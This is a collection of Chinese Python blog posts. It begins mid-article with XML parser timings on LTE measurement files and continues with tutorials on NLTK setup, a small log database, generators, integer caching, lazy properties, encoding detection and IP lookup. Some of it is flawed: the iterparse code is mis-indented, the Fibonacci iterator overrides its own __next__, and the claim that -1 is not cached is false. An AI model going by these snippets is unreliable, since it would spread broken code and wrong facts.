            file_io.write(d_eNB['id']+' '+ d_obj['id']+' '+d_obj['MmeUeS1apId']+' '+d_obj['MmeGroupId']+' '+d_obj['MmeCode']+' '+d_obj['TimeStamp']+' ')
            vs_cnt += 1
          else:
            pass
        #处理中间文本
        def char_data(self, text):
          global d_eNB
          global d_obj
          global flag
          if text[0:1].isnumeric():
            file_io.write(text)
          elif text[0:17] == 'MR.LteScPlrULQci1':
            flag = True
            #print(text,flag)
          else:
            pass
        #处理结束标签
        def end_element(self, name):
          global d_eNB
          global d_obj
          if name == 'v':
            file_io.write('\n')
          else:
            pass
      
      #Sax解析调用
      handler = DefaultSaxHandler()
      parser = ParserCreate()
      parser.StartElementHandler = handler.start_element
      parser.EndElementHandler = handler.end_element
      parser.CharacterDataHandler = handler.char_data
      vs_cnt = 0
      str_s = ''
      xm = gzip.open(gz,'rb')
      print("已读入：%s.\n解析中：" % (os.path.abspath(gz)))
      for line in xm.readlines():
        parser.Parse(line) #解析xml文件内容
        if flag:
          break
      str_s = file_io.getvalue().replace(' \n','\r\n').replace(' ',',').replace('T',' ').replace('NIL','')  #写入解析后内容
      xm.close()
      file_io.close()
      return (str_s,vs_cnt)



程序运行结果：

**************************************************

程序处理启动。

输入目录为：/tmcdata/mro2csv/input31/。

输出目录为：/tmcdata/mro2csv/output31/。

输入目录下.gz文件个数为：12，本次处理其中的12个。

**************************************************

文件计数：1/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_234598_20160224060000.xml.gz.

解析中：

文件计数：2/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_233798_20160224060000.xml.gz.

解析中：

文件计数：3/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_123798_20160224060000.xml.gz.

解析中：

.........................................

文件计数：12/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_235598_20160224060000.xml.gz.

解析中：

VS行计数：177849，运行时间：14.386779，每秒处理行数：12361。

已写入：/tmcdata/mro2csv/output31/mro_0001.csv。

**************************************************

程序处理结束。

SAX解析相比DOM解析，运行时间大幅缩短，由于SAX采用逐行解析，对于处理较大文件其占用内存也少，因此SAX解析是目前应用较多的一种解析方法。其缺点在于需
要自己实现回调函数，逻辑较为复杂。

### 3、ET解析

函数定义代码：



    def ET_parser(gz):
      import os,gzip,cStringIO
      import xml.etree.cElementTree as ET
      vs_cnt = 0
      str_s = ''
      file_io = cStringIO.StringIO()
      xm = gzip.open(gz,'rb')
      print("已读入：%s.\n解析中：" % (os.path.abspath(gz)))
      tree = ET.ElementTree(file=xm)
      root = tree.getroot()
      for elem in root[1][0].findall('object'):
          for v in elem.findall('v'):
              file_io.write(root[1].attrib['id']+' '+elem.attrib['TimeStamp']+' '+elem.attrib['MmeCode']+' '+\
              elem.attrib['id']+' '+ elem.attrib['MmeUeS1apId']+' '+ elem.attrib['MmeGroupId']+' '+ v.text+'\n')
          vs_cnt += 1
      str_s = file_io.getvalue().replace(' \n','\r\n').replace(' ',',').replace('T',' ').replace('NIL','')  #写入解析后内容
      xm.close()
      file_io.close()
      return (str_s,vs_cnt)

程序运行结果：

**************************************************

程序处理启动。

输入目录为：/tmcdata/mro2csv/input31/。

输出目录为：/tmcdata/mro2csv/output31/。

输入目录下.gz文件个数为：12，本次处理其中的12个。

**************************************************

文件计数：1/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_234598_20160224060000.xml.gz.

解析中：

文件计数：2/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_233798_20160224060000.xml.gz.

解析中：

文件计数：3/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_123798_20160224060000.xml.gz.

解析中：

...........................................

文件计数：12/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_235598_20160224060000.xml.gz.

解析中：

VS行计数：177849，运行时间：4.308103，每秒处理行数：41282。

已写入：/tmcdata/mro2csv/output31/mro_0001.csv。

**************************************************

程序处理结束。

相较于SAX解析，ET解析时间更短，并且函数实现也比较简单，所以ET具有类似DOM的简单逻辑实现且匹敌SAX的解析效率，因此ET是目前XML解析的首选。

### 4、ET_iter解析

函数定义代码：



    def ET_parser_iter(gz):
      import os,gzip,cStringIO
      import xml.etree.cElementTree as ET
      vs_cnt = 0
      str_s = ''
      file_io = cStringIO.StringIO()
      xm = gzip.open(gz,'rb')
      print("已读入：%s.\n解析中：" % (os.path.abspath(gz)))
      d_eNB = {}
      d_obj = {}
      i = 0
      for event,elem in ET.iterparse(xm,events=('start','end')):
        if i >= 2:
          break    
        elif event == 'start':
              if elem.tag == 'eNB':
                  d_eNB = elem.attrib
              elif elem.tag == 'object':
            d_obj = elem.attrib
          elif event == 'end' and elem.tag == 'smr':
          i += 1
        elif event == 'end' and elem.tag == 'v':
          file_io.write(d_eNB['id']+' '+d_obj['TimeStamp']+' '+d_obj['MmeCode']+' '+d_obj['id']+' '+\
          d_obj['MmeUeS1apId']+' '+ d_obj['MmeGroupId']+' '+str(elem.text)+'\n')
              vs_cnt += 1
          elem.clear()
      str_s = file_io.getvalue().replace(' \n','\r\n').replace(' ',',').replace('T',' ').replace('NIL','')  #写入解析后内容
      xm.close()
      file_io.close()
      return (str_s,vs_cnt)

程序运行结果：

**************************************************

程序处理启动。

输入目录为：/tmcdata/mro2csv/input31/。

输出目录为：/tmcdata/mro2csv/output31/。

输入目录下.gz文件个数为：12，本次处理其中的12个。

**************************************************

文件计数：1/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_234598_20160224060000.xml.gz.

解析中：

文件计数：2/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_233798_20160224060000.xml.gz.

解析中：

文件计数：3/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_123798_20160224060000.xml.gz.

解析中：

...................................................

文件计数：12/12.

已读入：/tmcdata/mro2csv/input31/TD-LTE_MRO_NSN_OMC_235598_20160224060000.xml.gz.

解析中：

VS行计数：177849，运行时间：3.043805，每秒处理行数：58429。

已写入：/tmcdata/mro2csv/output31/mro_0001.csv。

**************************************************

程序处理结束。

在引入了ET_iter解析后，解析效率比ET提升了近50%，而相较于DOM解析更是提升了35倍，在解析效率提升的同时，由于其采用了iterparse这个循序
解析的工具，其内存占用也是比较小的。

机器学习之nltk download安装测试包

2018-01-01T00:00:00+08:00

# 机器学习之nltk download安装测试包

接着上一篇文章 机器学习之nltk download出错：Error connecting to server: [Errno -2] ，下面说一下
nltk测试包的安装及要注意的事项

>>> import nltk

>>> nltk.download()

NLTK Downloader

\---------------------------------------------------------------------------

   d) Download      l) List      c) Config      h) Help      q) Quit

\---------------------------------------------------------------------------

Downloader> d

Download which package (l=list; x=cancel)?

 Identifier>

\---------------------------------------------------------------------------

   d) Download      l) List      c) Config      h) Help      q) Quit

\---------------------------------------------------------------------------

这里要注意：这一步的时候要选择l（list）

Downloader> l

Packages:

 [ ] brown_tei........... Brown Corpus (TEI XML Version)

 [ ] punkt............... Punkt Tokenizer Models

 [ ] maxent_treebank_pos_tagger Treebank Part of Speech Tagger (Maximum
entropy)

 [ ] machado............. Machado de Assis -- Obra Completa

 [ ] movie_reviews....... Sentiment Polarity Dataset Version 2.0

 [ ] names............... Names Corpus, Version 1.3 (1994-03-29)

 [ ] nombank.1.0......... NomBank Corpus 1.0

 [ ] nps_chat............ NPS Chat

 [ ] paradigms........... Paradigm Corpus

 [ ] pe08................ Cross-Framework and Cross-Domain Parser

                          Evaluation Shared Task

 [ ] pil................. The Patient Information Leaflet (PIL) Corpus

 [ ] pl196x.............. Polish language of the XX century sixties

 [ ] ppattach............ Prepositional Phrase Attachment Corpus

 [ ] problem_reports..... Problem Report Corpus

 [ ] propbank............ Proposition Bank Corpus 1.0

 [ ] qc.................. Experimental Data for Question Classification

 [ ] reuters............. The Reuters-21578 benchmark corpus, ApteMod

                          version

 [ ] rte................. PASCAL RTE Challenges 1, 2, and 3

Hit Enter to continue:

查看所有的包，并找到你需要的包，然后不能按照提示收入点击，而是应该这样做：

>>> nltk.download('brown_tei')

注意：该方法可能会出现：<urlopen error [Errno -2] Name or service not
known>的错误，这时可使用下面的方法解决

或者使用：

python -m nltk.downloader spanish_grammars

机器学习之nltk download出错：Error connecting to server_ [Errno -2]

2018-01-01T00:00:00+08:00

# 机器学习之nltk download出错：Error connecting to server: [Errno -2]

机器学习常用到python的自然语言处理框架NLTK，这个是机器学习的常用包，在使用过程中会遇到不少问题。我会和大家分享在这其中的一些经验。

今天闲来说一下安装，在安装中出现的download错误。



>>> import nltk

>>> nltk.download()

NLTK Downloader

\---------------------------------------------------------------------------

   d) Download      l) List      c) Config      h) Help      q) Quit

\---------------------------------------------------------------------------

Downloader> l

Packages:

Error connecting to server: [Errno -2] Name or service not known

经过推测，是服务器无法连接下载服务器地址导致的。

查看一下nltk download配置

Downloader> c

Data Server:

 - URL: <http://nltk.googlecode.com/svn/trunk/nltk_data/index.xml>

 - 3 Package Collections Available

 - 74 Individual Packages Available

Local Machine:

 - Data directory: /home/wym/nltk_data

然后

> curl http://nltk.googlecode.com/svn/trunk/nltk_data/index.xml

报错：curl: (6) Couldn't resolve host 'nltk.googlecode.com'

google的地址肯定是被墙掉了（唉，大家懂的）

解决办法：

修改dns地址，

> vim /etc/resolv.conf

修改nameserver为：  nameserver  8.8.8.8

问题解决

教你用100多行写一个数据库（附源码）

2018-01-01T00:00:00+08:00

# 教你用100多行写一个数据库（附源码）

本文介绍的是以为中国的IT资深人士写的一个简单的数据库，没有我们使用的数据库那么强大，但是值得大家借鉴。可以用在特定环境中，更加灵活方便。

数据库的名字叫WawaDB，是用python实现的。由此可见python是灰常强大啊！

## 简介

记录日志的需求一般是这样的：

只追加，不修改，写入按时间顺序写入；

大量写，少量读，查询一般查询一个时间段的数据；

MongoDB的固定集合很好的满足了这个需求，但是MongoDB占内存比较大，有点儿火穿蚊子，小题大做的感觉。

WawaDB的思路是每写入1000条日志，在一个索引文件里记录下当前的时间和日志文件的偏移量。

然后按时间询日志时，先把索引加载到内存中，用二分法查出时间点的偏移量，再打开日志文件seek到指定位置，这样就能很快定位用户需要的数据并读取，而不需要遍历整
个日志文件。

## 性能

Core 2 P8400,2.26GHZ,2G内存，32 bit win7

写入测试：

模拟1分钟写入10000条数据，共写入5个小时的数据， 插入300万条数据，每条数据54个字符，用时2分51秒



读取测试:读取指定时间段内包含某个子串的日志

数据范围 遍历数据量 结果数 用时（秒）

5小时 300万 604 6.6

2小时 120万 225 2.7

1小时 60万 96 1.3

30分钟 30万 44 0.6

## 索引

只对日志记录的时间做索引， 简介里大概说了下索引的实现，二分查找肯定没B Tree效率高，但一般情况下也差不了一个数量级，而且实现特别简单。

因为是稀疏索引，并不是每条日志都有索引记录它的偏移量，所以读取数据时要往前多读一些数据，防止漏读，等读到真正所需的数据时再真正给用户返回数据。

如下图，比如用户要读取25到43的日志，用二分法找25，找到的是30所在的点，

索引：0         10        20        30        40        50
日志：|.........|.........|.........|.........|.........|>>>a = [0, 10, 20, 30,
40, 50]>>>bisect.bisect_left(a, 35)>>>3>>>a[3]>>>30>>>bisect.bisect_left(a,
43)>>>5>>>a[5]>>>50

所以我们要往前倒一些，从20（30的前一个刻度）开始读取日志，21，22，23，24读取后因为比25小，所以扔掉, 读到25,26,27,...后返回给用户

读取到40（50的前一个刻度）后就要判断当前数据是否大于43了，如果大于43（返回全开区间的数据），就要停止读了。

整体下来我们只操作了大文件的很少一部分就得到了用户想要的数据。

## 缓冲区

为了减少写入日志时大量的磁盘写，索引在append日志时，把buffer设置成了10k，系统默认应该是4k。

同理，为了提高读取日志的效率，读取的buffer也设置了10k，也需要根据你日志的大小做适当调整。

索引的读写设置成了行buffer，每满一行都要flush到磁盘上，防止读到不完整的索引行（其实实践证明，设置了行buffer，还是能读到半拉的行）。

## 查询

啥？要支持SQL，别闹了，100行代码怎么支持SQL呀。

现在查询是直接传入一个lambada表达式，系统遍历指定时间范围内的数据行时，满足用户的lambada条件才会返回给用户。

当然这样会多读取很多用户不需要的数据，而且每行都要进行lambda表达式的运算，不过没办法，简单就是美呀。

以前我是把一个需要查询的条件和日志时间，日志文件偏移量都记录在索引里，这样从索引里查找出符合条件的偏移量，然后每条数据都如日志文件里seek一次，read一
次。这样好处只有一个，就是读取的数据量少了，但缺点有两个：

索引文件特别大，不方便加载到内存中

每次读取都要先seek，貌似缓冲区用不上，特别慢，比连续读一个段的数据，并用lambda过滤慢四五倍

## 写入

前面说过了，只append，不修改数据，而且每行日志最前面是时间戳。

多线程



查询数据，可以多线程同时查询，每次查询都会打开一个新的日志文件的描述符，所以并行的多个读取不会打架。

写入的话，虽然只是append操作，但不确认多线程对文件进行append操作是否安全，所以建议用一个队列，一个专用线程进行写入。

## 锁

没有任何锁。

## 排序

默认查询出来的数据是按时间正序排列，如需其它排序，可取到内存后用python的sorted函数排序，想怎么排就怎么排。



## 100多行的数据库代码



    # -*- coding:utf-8 -*-
    import os
    import time
    import bisect
    import itertools
    from datetime import datetime
    import logging

    default_data_dir = './data/'
    default_write_buffer_size = 1024*10
    default_read_buffer_size = 1024*10
    default_index_interval = 1000

    def ensure_data_dir():
        if not os.path.exists(default_data_dir):
            os.makedirs(default_data_dir)

    def init():
        ensure_data_dir()

    class WawaIndex:
        def __init__(self, index_name):
            self.fp_index = open(os.path.join(default_data_dir, index_name + '.index'), 'a+', 1)
            self.indexes, self.offsets, self.index_count = [], [], 0
            self.__load_index()

        def __update_index(self, key, offset):
            self.indexes.append(key)
            self.offsets.append(offset)

        def __load_index(self):
            self.fp_index.seek(0)
            for line in self.fp_index:
                try:
                    key, offset  = line.split()
                    self.__update_index(key, offset)
                except ValueError: # 索引如果没有flush的话，可能读到有半行的数据
                    pass

        def append_index(self, key, offset):
            self.index_count += 1
            if self.index_count % default_index_interval == 0:
                self.__update_index(key, offset)
                self.fp_index.write('%s %s %s' % (key, offset, os.linesep))

        def get_offsets(self, begin_key, end_key):
            left = bisect.bisect_left(self.indexes, str(begin_key))
            right = bisect.bisect_left(self.indexes, str(end_key))
            left, right = left - 1, right - 1
            if left < 0: left = 0
            if right < 0: right = 0
            if right > len(self.indexes) - 1: right = len(self.indexes) - 1
            logging.debug('get_index_range:%s %s %s %s %s %s', self.indexes[0], self.indexes[-1], begin_key, end_key, left, right)
            return self.offsets[left], self.offsets[right]


    class WawaDB:
        def __init__(self, db_name):
            self.db_name = db_name
            self.fp_data_for_append = open(os.path.join(default_data_dir, db_name + '.db'), 'a', default_write_buffer_size)
            self.index = WawaIndex(db_name)

        def __get_data_by_offsets(self, begin_key, end_key, begin_offset, end_offset):
            fp_data = open(os.path.join(default_data_dir, self.db_name + '.db'), 'r', default_read_buffer_size)
            fp_data.seek(int(begin_offset))

            line = fp_data.readline()
            find_real_begin_offset = False
            will_read_len, read_len = int(end_offset) - int(begin_offset), 0
            while line:
                read_len += len(line)
                if (not find_real_begin_offset) and  (line < str(begin_key)): 
                    line = fp_data.readline()
                    continue
                find_real_begin_offset = True
                if (read_len >= will_read_len) and (line > str(end_key)): break
                yield line.rstrip('\r\n')
                line = fp_data.readline()

        def append_data(self, data, record_time=datetime.now()):
            def check_args():
                if not data:
                    raise ValueError('data is null') 
                if not isinstance(data, basestring):
                    raise ValueError('data is not string') 
                if data.find('\r') != -1 or data.find('\n') != -1:
                    raise ValueError('data contains linesep')

            check_args()

            record_time = time.mktime(record_time.timetuple()) 
            data = '%s %s %s' % (record_time, data, os.linesep)
            offset = self.fp_data_for_append.tell()
            self.fp_data_for_append.write(data)
            self.index.append_index(record_time, offset)

        def get_data(self, begin_time, end_time, data_filter=None):
            def check_args():
                if not (isinstance(begin_time, datetime) and isinstance(end_time, datetime)):
                    raise ValueError('begin_time or end_time is not datetime')

            check_args()

            begin_time, end_time = time.mktime(begin_time.timetuple()), time.mktime(end_time.timetuple()) 
            begin_offset, end_offset = self.index.get_offsets(begin_time, end_time)

            for data in self.__get_data_by_offsets(begin_time, end_time, begin_offset, end_offset):
                if data_filter:
                    if data_filter(data):
                        yield data
                else:
                    yield data

    def test():
        from datetime import datetime, timedelta
        import uuid, random
        logging.getLogger().setLevel(logging.NOTSET)

        def time_test(test_name):
            def inner(f):
                def inner2(*args, **kargs):
                    start_time = datetime.now()
                    result = f(*args, **kargs)
                    print '%s take time:%s' % (test_name, (datetime.now() - start_time))
                    return result
                return inner2
            return inner

        @time_test('gen_test_data')    
        def gen_test_data(db):
            now = datetime.now()
            begin_time = now - timedelta(hours=5)
            while begin_time < now:
                print begin_time
                for i in range(10000):
                    db.append_data(str(random.randint(1,10000))+ ' ' +str(uuid.uuid1()), begin_time)
                begin_time += timedelta(minutes=1)

        @time_test('test_get_data')    
        def test_get_data(db):
            begin_time = datetime.now() - timedelta(hours=3) 
            end_time = begin_time + timedelta(minutes=120)
            results = list(db.get_data(begin_time, end_time, lambda x: x.find('1024') != -1))
            print 'test_get_data get %s results' % len(results)

        @time_test('get_db')    
        def get_db():
            return WawaDB('test')

        if not os.path.exists('./data/test.db'):
            db = get_db()
            gen_test_data(db)
            #db.index.fp_index.flush()

        db = get_db() 
        test_get_data(db)

    init()

    if __name__ == '__main__':
        test()

解决ImportError_ libmysqlclient_r.so.16_ cannot open shared object file

2018-01-01T00:00:00+08:00

# 解决ImportError: libmysqlclient_r.so.16: cannot open shared object file

在开发一个python项目是，需要用到mysql，但是，

安装完mysql-python后import加载模块提示以下错误：

ImportError: libmysqlclient_r.so.16: cannot open shared object file: No such
file or directory

可以尝试一下两种方法：

方法一：

在mysql-ython的安装目录下找到site.cfg，将

#mysql_config = XXXXXXXXXXXXXXXX

注释符号去掉，并填上mysql_config的地址



方法二：

将mysql/lib下所有关于libmysqlclient的so文件软链接到/usr/lib下。

>>> ln -s /usr/local/mysql/lib/mysql/libmysqlclient* /usr/lib

重新加载配置

>>> ldconfig

这时候就不会出错了

看完这篇，你就知道Python生成器是什么

2018-01-01T00:00:00+08:00

# 看完这篇，你就知道Python生成器是什么

生成器是 Python 初级开发者最难理解的概念之一，虽被认为是 Python
编程中的高级技能，但在各种项目中可以随处见到生成器的身影，你得不得去理解它、使用它、甚至爱上它。



提到生成器，总不可避免地要把迭代器拉出来对比着讲，生成器就是一个在行为上和迭代器非常类似的对象，如果把迭代器比作 Android 系统，那么生成器就是
iOS，二者功能上差不多，但是生成器更优雅。



### 什么是迭代器



顾名思义，迭代器就是用于迭代操作（for 循环）的对象，它像列表一样可以迭代获取其中的每一个元素，任何实现了 __next__ 方法 （python2 是
next）的对象都可以称为迭代器。



它与列表的区别在于，构建迭代器的时候，不像列表把所有元素一次性加载到内存，而是以一种延迟计算（lazy evaluation）方式返回元素，这正是它的优点。
比如列表含有中一千万个整数，需要占超过400M的内存，而迭代器只需要几十个字节的空间。因为它并没有把所有元素装载到内存中，而是等到调用 next
方法时候才返回该元素（按需调用 call by need 的方式，本质上 for 循环就是不断地调用迭代器的next方法）。



以斐波那契数列为例来实现一个迭代器：



    class Fib:
        def __init__(self, n):
            self.prev = 0
            self.cur = 1
            self.n = n
        def __iter__(self):
            return self
        def __next__(self):
            if self.n > 0:
                value = self.cur
                self.cur = self.cur + self.prev
                self.prev = value
                self.n -= 1
                return value
            else:
                raise StopIteration()
        # 兼容python2
        def __next__(self):
            return self.next()
    f = Fib(10)
    print([i for i in f])
    #[1, 1, 2, 3, 5, 8, 13, 21, 34, 55]

### 什么是生成器



知道迭代器之后，就可以正式进入生成器的话题了。普通函数用 return 返回一个值，和 Java 等其他语言是一样的，然而在 Python
中还有一种函数，用关键字 yield 来返回值，这种函数叫生成器函数，函数被调用时会返回一个生成器对象，生成器本质上还是一个迭代器，也是用在迭代操作中，因此
它有和迭代器一样的特性，唯一的区别在于实现方式上不一样，后者更加简洁



最简单的生成器函数：



    >>> def func(n):
    ...     yield n*2
    ...
    >>> func
    <function func at 0x00000000029F6EB8>
    >>> g = func(5)
    >>> g
    <generator object func at 0x0000000002908630>
    >>>

func 就是一个生成器函数，调用该函数时返回对象就是生成器 g ，这个生成器对象的行为和迭代器是非常相似的，可以用在 for 循环等场景中。注意
yield 对应的值在函数被调用时不会立刻返回，而是调用next方法时（本质上 for 循环也是调用 next 方法）才返回



    >>> g = func(5)
    >>> next(g)
    10
    >>> g = func(5)
    >>> for i in g:
    ...     print(i)
    ...
    10

那为什么要用生成器呢？显然，用生成器在逼格上要比迭代器高几个等级，它没有那么多冗长代码了，而且性能上一样的高效，为什么不用呢？来看看用生成器实现斐波那契数列
有多简单。



    def fib(n):
        prev, curr = 0, 1
        while n > 0:
            n -= 1
            yield curr
            prev, curr = curr, curr + prev
    print([i for i in fib(10)])
    #[1, 1, 2, 3, 5, 8, 13, 21, 34, 55]



### 生成器表达式



在前面一期「这样写代码更优雅」的文章里面曾经介绍过列表推导式（list
comprehension），生成器表达式与列表推导式长的非常像，但是它俩返回的对象不一样，前者返回生成器对象，后者返回列表对象。



    >>> g = (x*2 for x in range(10))
    >>> type(g)
    <type 'generator'>
    >>> l = [x*2 for x in range(10)]
    >>> type(l)
    <type 'list'>

前面已经介绍过生成器的优势，就是迭代海量数据时，显然生成器更合适。

理解Python中整型对象存储的位置

2018-01-01T00:00:00+08:00

# 理解Python中整型对象存储的位置

在 Python 整型对象所存储的位置是不同的, 有一些是预先分配内存的，它一直存储在内存里面, 而其它的, 则在使用时开辟出空间.

说这句话的理由， 可以看看如下代码：



    a = 5
    b = 5
    a is b # True
    a = 500
    b = 500
    a is b # False

由上面的代码可知, 整型 5 是一直存在的, 而整型 500 不是一直存在的.

那么有哪些整数是预先分配内存地址的呢?



    a, b, c = 0, 0, 0
    i = 0
    while a is b:
        i += 1
        a, b = int(str(i)), int(str(i))
    else:
        print(i) # 打印 257

由上所知, 小于或等于 256 (2**8) 的非负整数是一直存储的,(也就是说它们的内存地址是预先开辟出来的， 不需要后面再分配)



    a = -1
    b = -1
    a is b # False

而负数不会预先开辟.

利用Python延迟初始化提升性能

2018-01-01T00:00:00+08:00

# 利用Python延迟初始化提升性能

所谓类属性的延迟计算就是将类的属性定义成一个property，只在访问的时候才会计算，而且一旦被访问后，结果将会被缓存起来，不用每次都计算。构造一个延迟计算
属性的主要目的是为了提升性能

### property

在切入正题之前，我们了解下property的用法，property可以将属性的访问转变成方法的调用。



    class Circle(object): 
      def __init__(self, radius): 
        self.radius = radius 
      
      @property
      def area(self): 
        return 3.14 * self.radius ** 2
      
    c = Circle(4) 
    print c.radius 
    print c.area

可以看到，area虽然是定义成一个方法的形式，但是加上@property后，可以直接执行c.area，当成属性访问。



现在问题来了，每次调用c.area，都会计算一次，太浪费cpu了，怎样才能只计算一次呢?这就是lazy property



### 代码实现



    class LazyProperty(object):
      def __init__(self, func):
        self.func = func
      def __get__(self, instance, owner):
        if instance is None:
          return self
        else:
          value = self.func(instance)
          setattr(instance, self.func.__name__, value)
          return value
    import math
    class Circle(object):
      def __init__(self, radius):
        self.radius = radius
      @LazyProperty
      def area(self):
        print 'Computing area'
        return math.pi * self.radius ** 2
      @LazyProperty
      def perimeter(self):
        print 'Computing perimeter'
        return 2 * math.pi * self.radius

### 说明

定义了一个延迟计算的装饰器类LazyProperty。Circle是用于测试的类，Circle类有是三个属性半径(radius)、面积(area)、周长(p
erimeter)。面积和周长的属性被LazyProperty装饰，下面来试试LazyProperty的魔法：



    >>> c = Circle(2)
    >>> print c.area
    Computing area
    12.5663706144
    >>> print c.area
    12.5663706144

在area()中每计算一次就会打印一次“Computing area”，而连续调用两次c.area后“Computing
area”只被打印了一次。这得益于LazyProperty,只要调用一次后，无论后续调用多少次都不会重复计算。

两种方法获取网页编码python版

2018-01-01T00:00:00+08:00

# 两种方法获取网页编码python版

在web开发的时候我们经常会遇到网页抓取和分析，各种语言都可以完成这个功能。我喜欢用python实现，因为python提供了很多成熟的模块，可以很方便的实现
网页抓取。

但是在抓取过程中会遇到编码的问题，那今天我们来看一下如何判断网页的编码：

网上很多网页的编码格式都不一样，大体上是GBK,GB2312，UTF-8等。

我们在获取网页的的数据后，先要对网页的编码进行判断，才能把抓取的内容的编码统一转换为我们能够处理的编码，避免乱码问题的出现。



下面介绍**两种判断网页编码的方法**：

## 方法一：使用urllib模块的getparam方法



    import urllib

    fopen1 = urllib.urlopen('http://www.baidu.com').info()

    fopen2 = urllib.urlopen('http://www.pythontab.com').info()

    print fopen1.getparam('charset')# baidu

    print fopen2.getparam('charset')# pythontab



执行结果为：

gbk

None



PS: 呵呵，其实，上面的获取的编码都是不正确的，我们可以自己打开网页查看源代码，发现baidu的是gb2312，而pythontab是utf-8。唉，这个
方法确实有点坑爹啊。检测不准确、检测不到，它都占了，所以很不靠谱，下面介绍一个靠谱的方法。



## 方法二：使用chardet模块



    #如果你的python没有安装chardet模块，你需要首先安装一下chardet判断编码的模块哦
    import chardet 
    import urllib
    #先获取网页内容
    data = urllib.urlopen('http://www.pythontab.com').read()
    #用chardet进行内容分析
    chardit = chardet.detect(data)

    data1 = urllib.urlopen('http://www.baidu.com').read()

    chardit1 = chardet.detect(data1)

    print chardit['encoding'] # pythontab

    print chardit1['encoding'] # baidu



执行结果为：

utf-8

gb2312



这两个结果都是正确的哦，各位可以去亲自验证一下~~



总结：第二个方法很准确，在网页编码分析的时候用python模块分析内容是最准确的，而使用分析meta头信息的方法是不太准确的。

linux及windows下使用Python获取IP地址

2018-01-01T00:00:00+08:00

# linux及windows下使用Python获取IP地址

使用Python可以用很简单的方法得到本机IP地址，不过在Windows和Linux下的方法稍有不一样的，下面就来详细介绍下：

### Windows下获得IP地址的方法



**方法一 使用socket模块**

使用拨号上网的话，一般都有一个本地ip和一个外网ip，使用python可以很容易的得到这两个ip
使用gethostbyname和gethostbyname_ex两个函数可以实现



    #使用socket模块
    import socket
    #得到本地ip
    localIP = socket.gethostbyname(socket.gethostname())
    print"local ip:%s "%localIP

    ipList = socket.gethostbyname_ex(socket.gethostname())for i in ipList:
        if i != localIP:
           print"external IP:%s"%i



或者



    #引入socket模块
    import socket
    myname = socket.getfqdn(socket.gethostname())
    myaddr = socket.gethostbyname(myname)



**方法二 使用正则表达式和urllib2模块**

该方法获取公网IP使用的是利用其他网站提供的IP检测功能，然后在使用python抓取页面，正则匹配或得。不过该方法比较准确哦



    import re,urllib2
    from subprocess import Popen, PIPE

    print "本机的私网IP地址为：" + re.search('\d+\.\d+\.\d+\.\d+',Popen('ipconfig', stdout=PIPE).stdout.read()).group(0)

    #利用其他网站提供的接口，使用urllib2获取其中的ip
    print "本机的公网IP地址为：" + re.search('\d+\.\d+\.\d+\.\d+',urllib2.urlopen("http://www.ip138.com").read()).group(0)



### Linux下获得IP地址的方法





上面的方法在Linux下也可以使用，除此之外，Linux下还可以用下面的方法得到本机IP地址。





    import socket
    import fcntl
    import struct

    def get_ip_address(ifname):
        skt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        print skt
        pktString = fcntl.ioctl(skt.fileno(), 0x8915, struct.pack('256s', ifname[:15]))
        print pktString
        ipString  = socket.inet_ntoa(pktString[20:24])
        print ipString
        return ipString

    print get_ip_address('lo')
    print get_ip_address('eth1')

nltk 之 snowball 提取词干

2018-01-01T00:00:00+08:00

# nltk 之 snowball 提取词干

机器学习中很重要的应用场景就是机器自动分类，而分类的关键是词干提取。所以我们要用到snowball。下面说一下snowball 提取词干的两种方法。

两种方法：

方法一：



    >>> from nltk import SnowballStemmer
    >>> SnowballStemmer.languages # See which languages are supported
    ('danish', 'dutch', 'english', 'finnish', 'french', 'german', 'hungarian',
     'italian', 'norwegian', 'porter', 'portuguese", 'romanian', 
     'russian', 'spanish', 'swedish')
    >>> stemmer = SnowballStemmer("german") # Choose a language
    >>> stemmer.stem(u"Autobahnen") # Stem a word
    u'autobahn'


    但是当你知道你使用的语言场景的时候可以使用下面的方法直接调用：


    方法二：


    >>> ps = nltk.stem.snowball.PortugueseStemmer()
    >>> ps.stem('celular')
    u'celul'
    >>> ps.stem('celular')
    u'celul'

朴素贝叶斯算法的python实现

2018-01-01T00:00:00+08:00

# 朴素贝叶斯算法的python实现

算法优缺点

优点：在数据较少的情况下依然有效，可以处理多类别问题

缺点：对输入数据的准备方式敏感

适用数据类型：标称型数据

算法思想：

朴素贝叶斯

比如我们想判断一个邮件是不是垃圾邮件，那么我们知道的是这个邮件中的词的分布，那么我们还要知道：垃圾邮件中某些词的出现是多少，就可以利用贝叶斯定理得到。

朴素贝叶斯分类器中的一个假设是：每个特征同等重要

贝叶斯分类是一类分类算法的总称，这类算法均以贝叶斯定理为基础，故统称为贝叶斯分类。

函数

loadDataSet()

创建数据集，这里的数据集是已经拆分好的单词组成的句子，表示的是某论坛的用户评论，标签1表示这个是骂人的

createVocabList(dataSet)

找出这些句子中总共有多少单词，以确定我们词向量的大小

setOfWords2Vec(vocabList, inputSet)

将句子根据其中的单词转成向量，这里用的是伯努利模型，即只考虑这个单词是否存在

bagOfWords2VecMN(vocabList, inputSet)

这个是将句子转成向量的另一种模型，多项式模型，考虑某个词的出现次数

trainNB0(trainMatrix,trainCatergory)

计算P(i)和P(w[i]|C[1])和P(w[i]|C[0])，这里有两个技巧，一个是开始的分子分母没有全部初始化为0是为了防止其中一个的概率为0导致整体
为0，另一个是后面乘用对数防止因为精度问题结果为0

classifyNB(vec2Classify, p0Vec, p1Vec, pClass1)

根据贝叶斯公式计算这个向量属于两个集合中哪个的概率高



    #coding=utf-8
    from numpy import *
    def loadDataSet():
        postingList=[['my', 'dog', 'has', 'flea', 'problems', 'help', 'please'],
                     ['maybe', 'not', 'take', 'him', 'to', 'dog', 'park', 'stupid'],
